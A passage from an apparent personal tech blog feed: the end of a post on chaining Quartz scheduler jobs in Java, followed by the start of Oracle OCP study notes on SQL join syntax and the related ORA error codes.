&lt;span id="cb2-24"&gt;&lt;a aria-hidden="true" href="#cb2-24" tabindex="-1"&gt;&lt;/a&gt;                logger&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;info&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"Tickler Mail Job Scheduled"&lt;/span&gt;&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-25"&gt;&lt;a aria-hidden="true" href="#cb2-25" tabindex="-1"&gt;&lt;/a&gt;            &lt;span class="op"&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-26"&gt;&lt;a aria-hidden="true" href="#cb2-26" tabindex="-1"&gt;&lt;/a&gt;            &lt;span class="cf"&gt;catch&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="bu"&gt;Exception&lt;/span&gt; e&lt;span class="op"&gt;){&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-27"&gt;&lt;a aria-hidden="true" href="#cb2-27" tabindex="-1"&gt;&lt;/a&gt;                logger&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;info&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"Error while scheduling the jobs."&lt;/span&gt;&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-28"&gt;&lt;a aria-hidden="true" href="#cb2-28" tabindex="-1"&gt;&lt;/a&gt;                logger&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;error&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;e&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-29"&gt;&lt;a aria-hidden="true" href="#cb2-29" tabindex="-1"&gt;&lt;/a&gt;            &lt;span class="op"&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-30"&gt;&lt;a aria-hidden="true" href="#cb2-30" tabindex="-1"&gt;&lt;/a&gt;        &lt;span class="op"&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-31"&gt;&lt;a aria-hidden="true" href="#cb2-31" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="op"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The scheduling method starts by instantiating a SchedulerFactory and
getting the scheduler. As discussed earlier, the JobDetail object is
created by taking the Job (SimpleQuartzJob) as an argument to its
constructor. The TriggerUtils.makeDailyTrigger creates a simple trigger
which executes the associated job(s) at 2:00 am everyday There are a
number of other ways to manipulate a SimpleTrigger. In addition to a
specified number of repeats and a specified repeat interval, jobs may be
schedules to execute at a specific calendar time, given a maximum time
of execution, or given a priority. Some of the advanced concepts include
CronTriggers, Job Stores, and JobMap etc.,&lt;/p&gt;
&lt;h3 id="need-for-job-chaining"&gt;Need for Job Chaining&lt;/h3&gt;
&lt;p&gt;The job known as “MailProcessor” needs to be scheduled every 5
minutes i.e., this job has to execute every five minutes. The code which
was used for scheduling the job is given below:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Trigger mailProcTrigger = TriggerUtils.makeMinutelyTrigger(5);
mailProcTrigger.setName(SchedulingConstants.MAILPROCESSOR_TRIGGER_NAME);
mailProcTrigger.setGroup(Scheduler.DEFAULT_GROUP);
JobDetail mailProc = new JobDetail(SchedulingConstants.MAILPROCESSOR_JOB_NAME, Scheduler.DEFAULT_GROUP, MailProcessor.class);
sched.scheduleJob(mailProc,mailProcTrigger);
logger.info("Mail Processor Scheduled");&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Following are the issues faced with this kind of scheduling&lt;/p&gt;
&lt;ol type="1"&gt;
&lt;li&gt;The SMTP Server needs to address online mailing at times.&lt;/li&gt;
&lt;li&gt;The number of records in the table is high and hence the number of
mails to be sent are higher in number&lt;/li&gt;
&lt;li&gt;Due to the above reasons, this job may have a completion of time of
more than five minutes, which means that the next schedule of the same
will get triggered even before the first one completes.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Solution&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Hence to resolve this, we need to chain the jobs such that the job
gets “re-scheduled” only after the first job is completed. This is known
as “Job-Chaining”&lt;/p&gt;
&lt;h3 id="job-chaining-how-it-was-implemented"&gt;Job Chaining – How it was
implemented&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;A Utility Method for returning the time 5 minutes from now and
another Utility method for returning a SimpleTrigger using the
NextScheduledTime are created.&lt;/li&gt;
&lt;li&gt;The first time scheduling of the Job is done with a SimpleTrigger
(Utility method) which starts the first job 5 minutes from the starting
instance&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="sourceCode" id="cb4"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb4-1"&gt;&lt;a aria-hidden="true" href="#cb4-1" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="co"&gt;//The Utility method to return the Next Scheduling time 5 minutes from now&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-2"&gt;&lt;a aria-hidden="true" href="#cb4-2" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="kw"&gt;public&lt;/span&gt; &lt;span class="dt"&gt;static&lt;/span&gt; &lt;span class="bu"&gt;Date&lt;/span&gt; &lt;span class="fu"&gt;getNextMailScheduledTime&lt;/span&gt;&lt;span class="op"&gt;()&lt;/span&gt; &lt;span class="op"&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-3"&gt;&lt;a aria-hidden="true" href="#cb4-3" tabindex="-1"&gt;&lt;/a&gt;        &lt;span class="bu"&gt;Calendar&lt;/span&gt; cal &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="bu"&gt;Calendar&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;getInstance&lt;/span&gt;&lt;span class="op"&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-4"&gt;&lt;a aria-hidden="true" href="#cb4-4" tabindex="-1"&gt;&lt;/a&gt;        &lt;span class="bu"&gt;System&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;out&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;println&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"Date Current: "&lt;/span&gt;&lt;span class="op"&gt;+&lt;/span&gt;cal&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;getTimeInMillis&lt;/span&gt;&lt;span class="op"&gt;());&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-5"&gt;&lt;a aria-hidden="true" href="#cb4-5" tabindex="-1"&gt;&lt;/a&gt;        cal&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;add&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="bu"&gt;Calendar&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;MINUTE&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt;&lt;span class="dv"&gt;1&lt;/span&gt;&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-6"&gt;&lt;a aria-hidden="true" href="#cb4-6" tabindex="-1"&gt;&lt;/a&gt;        &lt;span class="bu"&gt;System&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;out&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;println&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"Date after addition: "&lt;/span&gt;&lt;span class="op"&gt;+&lt;/span&gt;cal&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;getTimeInMillis&lt;/span&gt;&lt;span class="op"&gt;());&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-7"&gt;&lt;a aria-hidden="true" href="#cb4-7" tabindex="-1"&gt;&lt;/a&gt;        &lt;span class="cf"&gt;return&lt;/span&gt; cal&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;getTime&lt;/span&gt;&lt;span class="op"&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-8"&gt;&lt;a aria-hidden="true" href="#cb4-8" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="op"&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-9"&gt;&lt;a aria-hidden="true" href="#cb4-9" tabindex="-1"&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id="cb4-10"&gt;&lt;a aria-hidden="true" href="#cb4-10" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="co"&gt;//The Utility Method to return a SimpleTrigger which used the NextScheduledTime Utility Method for the Triggering time&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-11"&gt;&lt;a aria-hidden="true" href="#cb4-11" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="kw"&gt;public&lt;/span&gt; &lt;span class="dt"&gt;static&lt;/span&gt; Trigger &lt;span class="fu"&gt;getMailProcessorTrigger&lt;/span&gt;&lt;span class="op"&gt;()&lt;/span&gt; &lt;span class="op"&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-12"&gt;&lt;a aria-hidden="true" href="#cb4-12" tabindex="-1"&gt;&lt;/a&gt;        &lt;span class="bu"&gt;Date&lt;/span&gt; newDate &lt;span class="op"&gt;=&lt;/span&gt; VsimsUtil&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;getNextMailScheduledTime&lt;/span&gt;&lt;span class="op"&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-13"&gt;&lt;a aria-hidden="true" href="#cb4-13" tabindex="-1"&gt;&lt;/a&gt;        Trigger mailTrigger &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="fu"&gt;SimpleTrigger&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;SchedulingConstants&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;MAILPROCESSOR_TRIGGER_NAME&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt; Scheduler&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;DEFAULT_GROUP&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt;newDate&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-14"&gt;&lt;a aria-hidden="true" href="#cb4-14" tabindex="-1"&gt;&lt;/a&gt;        mailTrigger&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;setJobName&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;SchedulingConstants&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;MAILPROCESSOR_JOB_NAME&lt;/span&gt;&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-15"&gt;&lt;a aria-hidden="true" href="#cb4-15" tabindex="-1"&gt;&lt;/a&gt;        mailTrigger&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;setJobGroup&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;Scheduler&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;DEFAULT_GROUP&lt;/span&gt;&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-16"&gt;&lt;a aria-hidden="true" href="#cb4-16" tabindex="-1"&gt;&lt;/a&gt;        &lt;span class="cf"&gt;return&lt;/span&gt; mailTrigger&lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-17"&gt;&lt;a aria-hidden="true" href="#cb4-17" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="op"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="scheduling-the-job-for-the-first-run"&gt;Scheduling the Job for the
First Run&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;&lt;p&gt;Using the Utility methods the “MailProcessor” Job is scheduled to
run after Five minutes from the current Instance&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Since a specific time instance is given for the Trigger, this Job
will get Triggered only once&lt;/p&gt;
&lt;p&gt;JobDetail mailJobDetail = new
JobDetail(“MailProcessorJob”,Scheduler.DEFAULT_GROUP,
MailProcessor.class); sched.scheduleJob(mailJobDetail,VsimsUtil
Util.getMailProcessorTrigger()); logger.info(“Mail Processor
Scheduled”);&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Note: &lt;em&gt;Since the Job is being scheduled for the first time we have
to use sched.scheduleJob() for scheduling the job&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;In the Execute method of the Job, once the Job gets fired for the
first time by the Trigger created, the Job Execution steps are completed
and then the job gets “re-scheduled’ after five minutes using the same
Utility method&lt;/p&gt;
&lt;div class="sourceCode" id="cb5"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb5-1"&gt;&lt;a aria-hidden="true" href="#cb5-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;public&lt;/span&gt; &lt;span class="dt"&gt;void&lt;/span&gt; &lt;span class="fu"&gt;execute&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;JobExecutionContext jobContext&lt;span class="op"&gt;)&lt;/span&gt; &lt;span class="kw"&gt;throws&lt;/span&gt; JobExecutionException &lt;span class="op"&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb5-2"&gt;&lt;a aria-hidden="true" href="#cb5-2" tabindex="-1"&gt;&lt;/a&gt;        logger&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;info&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"MailProcessor execute - start"&lt;/span&gt;&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb5-3"&gt;&lt;a aria-hidden="true" href="#cb5-3" tabindex="-1"&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id="cb5-4"&gt;&lt;a aria-hidden="true" href="#cb5-4" tabindex="-1"&gt;&lt;/a&gt;        &lt;span class="co"&gt;//PERFORM THE JOB EXECUTION STEPS HERE&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb5-5"&gt;&lt;a aria-hidden="true" href="#cb5-5" tabindex="-1"&gt;&lt;/a&gt;        &lt;span class="co"&gt;//Chaining of the Job by re-scheduling&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb5-6"&gt;&lt;a aria-hidden="true" href="#cb5-6" tabindex="-1"&gt;&lt;/a&gt;        &lt;span class="cf"&gt;try&lt;/span&gt; &lt;span class="op"&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb5-7"&gt;&lt;a aria-hidden="true" href="#cb5-7" tabindex="-1"&gt;&lt;/a&gt;            logger&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;info&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"Scheduler Instance Id in Mail Processor: "&lt;/span&gt;&lt;span class="op"&gt;+&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb5-8"&gt;&lt;a aria-hidden="true" href="#cb5-8" tabindex="-1"&gt;&lt;/a&gt;                &lt;span class="op"&gt;+&lt;/span&gt; jobContext&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;getScheduler&lt;/span&gt;&lt;span class="op"&gt;().&lt;/span&gt;&lt;span class="fu"&gt;getSchedulerInstanceId&lt;/span&gt;&lt;span class="op"&gt;());&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb5-9"&gt;&lt;a aria-hidden="true" href="#cb5-9" tabindex="-1"&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id="cb5-10"&gt;&lt;a aria-hidden="true" href="#cb5-10" tabindex="-1"&gt;&lt;/a&gt;            &lt;span class="co"&gt;//If Rescheduled Correctly, the Scheduler returns the next Scheduled Time of the JOB&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb5-11"&gt;&lt;a aria-hidden="true" href="#cb5-11" tabindex="-1"&gt;&lt;/a&gt;            &lt;span class="bu"&gt;Date&lt;/span&gt; nextScheduledTime &lt;span class="op"&gt;=&lt;/span&gt; jobContext&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;getScheduler&lt;/span&gt;&lt;span class="op"&gt;().&lt;/span&gt;&lt;span class="fu"&gt;rescheduleJob&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb5-12"&gt;&lt;a aria-hidden="true" href="#cb5-12" tabindex="-1"&gt;&lt;/a&gt;                &lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"MailProcessorJob"&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt; Scheduler&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;DEFAULT_GROUP&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt; &lt;span class="bu"&gt;Util&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;getMailProcessorTrigger&lt;/span&gt;&lt;span class="op"&gt;());&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb5-13"&gt;&lt;a aria-hidden="true" href="#cb5-13" tabindex="-1"&gt;&lt;/a&gt;            logger&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;info&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"Rescheduled at : "&lt;/span&gt;&lt;span class="op"&gt;+&lt;/span&gt;nextScheduledTime&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb5-14"&gt;&lt;a aria-hidden="true" href="#cb5-14" tabindex="-1"&gt;&lt;/a&gt;        &lt;span class="op"&gt;}&lt;/span&gt; &lt;span class="cf"&gt;catch&lt;/span&gt; &lt;span class="op"&gt;(&lt;/span&gt;SchedulerException e&lt;span class="op"&gt;)&lt;/span&gt; &lt;span class="op"&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb5-15"&gt;&lt;a aria-hidden="true" href="#cb5-15" tabindex="-1"&gt;&lt;/a&gt;            logger&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;error&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"Error in Scheduling the Job for the Next Iteration"&lt;/span&gt;&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb5-16"&gt;&lt;a aria-hidden="true" href="#cb5-16" tabindex="-1"&gt;&lt;/a&gt;            e&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;printStackTrace&lt;/span&gt;&lt;span class="op"&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb5-17"&gt;&lt;a aria-hidden="true" href="#cb5-17" tabindex="-1"&gt;&lt;/a&gt;        &lt;span class="op"&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb5-18"&gt;&lt;a aria-hidden="true" href="#cb5-18" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="op"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Note: &lt;em&gt;Since the same job is being chained, we have to use
rescheduleJob().&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The re-scheduling also happens using the Trigger returned by the
Utility Method. Hence the job gets rescheduled only once. Hence the
subsequent run of the job will reschedule the job again for its next
run. Thus we achieve chaining of the job runs&lt;/p&gt;
&lt;h3 id="references"&gt;References&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://quartz.sourceforge.net/firstTutorial.html"&gt;Quartz&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www-128.ibm.com/developerworks/java/library/j-quartz/"&gt;IBM
Quartz&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Software-Engineering"/><category term="quartz"/><category term="java"/></entry><entry><title>Studying for OCP - Oracle Certifed Professional - Part 2</title><link href="https://sengopal.me/posts/studying-for-ocp-oracle-certifed-professional-part-2" rel="alternate"/><published>2009-02-20T00:00:00-08:00</published><updated>2009-02-20T00:00:00-08:00</updated><author><name>Senthilkumar Gopal</name></author><id>tag:sengopal.me,2009-02-20:/posts/studying-for-ocp-oracle-certifed-professional-part-2</id><summary type="html">I am studying for the Oracle Certified Professional certification and following are notes which are specific to the certification, from the prep book. These notes are also helpful for a refresher on SQL syntax and usability.</summary><content type="html">&lt;p&gt;I am studying for the Oracle Certified Professional certification and
following are notes which are specific to the certification, from the
prep book. These notes are also helpful for a refresher on SQL syntax
and usability.&lt;/p&gt;
&lt;p&gt;Continued from &lt;a href="studying-for-ocp-oracle-certifed-professional-part-1"&gt;Part
1&lt;/a&gt;&lt;/p&gt;
&lt;h3 id="chapter-7"&gt;Chapter 7&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;equijoin - A row is associated with one or more rows in another
table based on the equality of column values or expressions.&lt;/li&gt;
&lt;li&gt;nonequijoin - In this case, a row is associated with one or more
rows in another table if its column values fall into a range determined
by inequality operators.&lt;/li&gt;
&lt;li&gt;associate rows with other rows in the same table -&amp;gt; hierarchical
-&amp;gt; self-join. .. Rows with null or differing entries in common join
columns are excluded when equijoins and nonequijoins are performed. ..
An outer join is available to fetch these one-legged or orphaned rows if
necessary. .. A cross join or Cartesian product is formed when every row
from one table is joined to all rows in another -&amp;gt; missing or
inadequate join conditions&lt;/li&gt;
&lt;li&gt;When the source and target tables share identically named columns,
it is possible to perform a natural join between them without specifying
a join column. This is sometimes referred to as a pure natural join. ..
select region_name from regions natural join countries where
country_name=‘Canada’&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;JOIN…USING&lt;/strong&gt; .. select region_name from regions join
countries using (region_id) where country_name=‘Canada’ -&amp;gt; brackets
are a part of the syntax&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;JOIN…ON&lt;/strong&gt; -&amp;gt; most widely used natural join format.
.. select region_name from regions join countries on
(countries.region_id=regions.region_id) where country_name=‘Canada’
-&amp;gt; brackets are optional&lt;/li&gt;
&lt;li&gt;cross join or cartesian product .. This join creates one row of
output for every combination of source and target table rows.&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="sourceCode" id="cb1"&gt;&lt;pre class="sourceCode sql"&gt;&lt;code class="sourceCode sql"&gt;&lt;span id="cb1-1"&gt;&lt;a aria-hidden="true" href="#cb1-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;select&lt;/span&gt; &lt;span class="fu"&gt;count&lt;/span&gt;(&lt;span class="op"&gt;*&lt;/span&gt;) &lt;span class="kw"&gt;from&lt;/span&gt; regions &lt;span class="kw"&gt;cross&lt;/span&gt; &lt;span class="kw"&gt;join&lt;/span&gt; countries;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol start="8" type="1"&gt;
&lt;li&gt;[TRADITIONAL JOIN SYNTAX] A plus symbol enclosed in brackets (+) to
the left of the equal sign that indicates to Oracle that a right outer
join must be performed -&amp;gt; (+) =&lt;/li&gt;
&lt;li&gt;The join returns additional values from the table WITHOUT the (+)
symbol&lt;/li&gt;
&lt;li&gt;CARTESION JOIN: &lt;code&gt;select * from regions,countries;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;SQL:1999 Syntax&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="sourceCode" id="cb2"&gt;&lt;pre class="sourceCode sql"&gt;&lt;code class="sourceCode sql"&gt;&lt;span id="cb2-1"&gt;&lt;a aria-hidden="true" href="#cb2-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;SELECT&lt;/span&gt; table1.&lt;span class="kw"&gt;column&lt;/span&gt;, table2.&lt;span class="kw"&gt;column&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-2"&gt;&lt;a aria-hidden="true" href="#cb2-2" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="kw"&gt;FROM&lt;/span&gt; table1&lt;/span&gt;
&lt;span id="cb2-3"&gt;&lt;a aria-hidden="true" href="#cb2-3" tabindex="-1"&gt;&lt;/a&gt;    [&lt;span class="kw"&gt;NATURAL&lt;/span&gt; &lt;span class="kw"&gt;JOIN&lt;/span&gt; table2] |&lt;/span&gt;
&lt;span id="cb2-4"&gt;&lt;a aria-hidden="true" href="#cb2-4" tabindex="-1"&gt;&lt;/a&gt;    [&lt;span class="kw"&gt;JOIN&lt;/span&gt; table2 &lt;span class="kw"&gt;USING&lt;/span&gt; (column_name)] |&lt;/span&gt;
&lt;span id="cb2-5"&gt;&lt;a aria-hidden="true" href="#cb2-5" tabindex="-1"&gt;&lt;/a&gt;    [&lt;span class="kw"&gt;JOIN&lt;/span&gt; table2 &lt;span class="kw"&gt;ON&lt;/span&gt; (table1.column_name &lt;span class="op"&gt;=&lt;/span&gt; table2.column_name)] |&lt;/span&gt;
&lt;span id="cb2-6"&gt;&lt;a aria-hidden="true" href="#cb2-6" tabindex="-1"&gt;&lt;/a&gt;    [&lt;span class="kw"&gt;LEFT&lt;/span&gt; | &lt;span class="kw"&gt;RIGHT&lt;/span&gt; | &lt;span class="kw"&gt;FULL&lt;/span&gt; &lt;span class="kw"&gt;OUTER&lt;/span&gt; &lt;span class="kw"&gt;JOIN&lt;/span&gt; table2&lt;/span&gt;
&lt;span id="cb2-7"&gt;&lt;a aria-hidden="true" href="#cb2-7" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="kw"&gt;ON&lt;/span&gt; (table1.column_name &lt;span class="op"&gt;=&lt;/span&gt; table2.column_name)] |&lt;/span&gt;
&lt;span id="cb2-8"&gt;&lt;a aria-hidden="true" href="#cb2-8" tabindex="-1"&gt;&lt;/a&gt;    [&lt;span class="kw"&gt;CROSS&lt;/span&gt; &lt;span class="kw"&gt;JOIN&lt;/span&gt; table2];&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol start="12" type="1"&gt;
&lt;li&gt;If no joins or fewer than N-1 joins are specified in the WHERE
clause conditions, where N refers to the number of tables in the query,
then a Cartesian or cross join is performed.&lt;/li&gt;
&lt;li&gt;If ambiguous column is NOT aliased, ORA-00918:column ambiguously
defined&lt;/li&gt;
&lt;li&gt;If Column used in JOIN…USING is aliased, ORA-25154:column part of
USING clause cannot have qualifier&lt;/li&gt;
&lt;li&gt;Qualifying column references with dot notation to indicate a
column’s table of origin has a performance benefit. Time is saved
because Oracle is directed instantaneously to the appropriate table and
does not have to resolve the table name.&lt;/li&gt;
&lt;li&gt;Natural JOIN&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="sourceCode" id="cb3"&gt;&lt;pre class="sourceCode sql"&gt;&lt;code class="sourceCode sql"&gt;&lt;span id="cb3-1"&gt;&lt;a aria-hidden="true" href="#cb3-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;SELECT&lt;/span&gt; table1.&lt;span class="kw"&gt;column&lt;/span&gt;, table2.&lt;span class="kw"&gt;column&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb3-2"&gt;&lt;a aria-hidden="true" href="#cb3-2" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;FROM&lt;/span&gt; table1&lt;/span&gt;
&lt;span id="cb3-3"&gt;&lt;a aria-hidden="true" href="#cb3-3" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;NATURAL&lt;/span&gt; &lt;span class="kw"&gt;JOIN&lt;/span&gt; table2;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;pre&gt;&lt;code&gt;.. The pure natural join identifies the columns with common names in table1 and table2 and implicitly joins the tables using ALL THESE columns.
.. The columns in the SELECT clause may be qualified using dot notation unless they are one of the join columns&lt;/code&gt;&lt;/pre&gt;
&lt;ol start="17" type="1"&gt;
&lt;li&gt;If NATURAL JOIN Column Names are of incompatible data types :
ORA-01722: invalid number&lt;/li&gt;
&lt;li&gt;If there are no common name columns, NATURAL JOIN Performs a
CARTESIAN PRODUCT&lt;/li&gt;
&lt;li&gt;JOIN…USING .. select EMP.last_name, EMP.Department_id, JH.end_date,
job_id, employee_id from job_history JH join employees EMP using
(job_id,employee_id) .. Column used in the USING part should not be
qualified -&amp;gt; ORA-25154: column part of USING clause cannot have
qualifier .. Column not used in the USING part should be qualified if
ambigously defined -&amp;gt; ORA-00918: column ambiguously defined&lt;/li&gt;
&lt;li&gt;The NATURAL keyword and USING (or) ON should not appear in the same
clause&lt;/li&gt;
&lt;li&gt;When joining more than two tables NATURALLY, the intermin resultset
created will be joined to the Third table and if the resultset does not
have a common column with the Third table, then CARTESIAN PRODUCT
occurs&lt;/li&gt;
&lt;li&gt;NON-EQUI JOINS&lt;/li&gt;
&lt;/ol&gt;
